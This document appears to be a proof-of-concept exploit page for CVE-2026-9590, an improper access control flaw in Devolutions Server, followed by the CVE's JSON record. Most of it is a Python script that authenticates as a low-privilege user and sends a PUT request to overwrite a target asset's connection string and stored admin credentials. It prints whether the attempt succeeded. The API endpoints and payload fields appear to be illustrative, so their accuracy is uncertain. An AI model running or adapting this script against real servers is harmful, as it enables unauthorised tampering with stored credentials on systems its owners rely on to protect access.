CVE-2026-9590

# CVE-2026-9590 PoC - Improper Access Control in Devolutions Server # This PoC demonstrates the permission validation bypass import requests import json TARGET_URL = "https://target-devolutions-server.com" API_ENDPOINT = f"{TARGET_URL}/api/assets" def exploit_cve_2026_9590(): """ Exploit for CVE-2026-9590: Improper Access Control in Devolutions Server Allows authenticated users with entry edit privileges to modify asset information without required permissions. """ # Step 1: Authenticate with valid credentials (user with entry edit privileges) auth_payload = { "username": "[email protected]", "password": "UserPassword123" } session = requests.Session() auth_response = session.post(f"{TARGET_URL}/api/auth/login", json=auth_payload) if auth_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Get list of assets (requires only entry edit privilege) assets_response = session.get(f"{TARGET_URL}/api/assets") assets = assets_response.json() # Step 3: Attempt to modify asset information (requires asset modify permission) # This should be denied but is allowed due to the vulnerability target_asset_id = "sensitive-asset-id-12345" modify_payload = { "asset_id": target_asset_id, "name": "Modified Asset Name", "description": "Asset information modified without proper permission", "connection_string": "Modified connection string", "credentials": { "username": "admin", "password": "NewPassword123" } } modify_response = session.put( f"{API_ENDPOINT}/{target_asset_id}", json=modify_payload ) if modify_response.status_code == 200: print("[!] VULNERABLE: Asset modification succeeded without proper permissions") print(f"[+] Modified asset: {target_asset_id}") return True else: print("[-] Patch applied or different behavior") return False if __name__ == "__main__": exploit_cve_2026_9590()

{"cve": {"id": "CVE-2026-9590", "sourceIdentifier": "[email protected]", "published": "2026-06-02T16:16:45.980", "lastModified": "2026-06-02T20:53:16.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in the permission validation component in Devolutions Server 2026.1.19 and earlier allows an authenticated user with entry edit privileges to modify asset information without the required permission."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.20.0", "matchCriteriaId": "6D73CF7D-6C68-4729-B4B5-1673E7EFEE4D"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0014/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}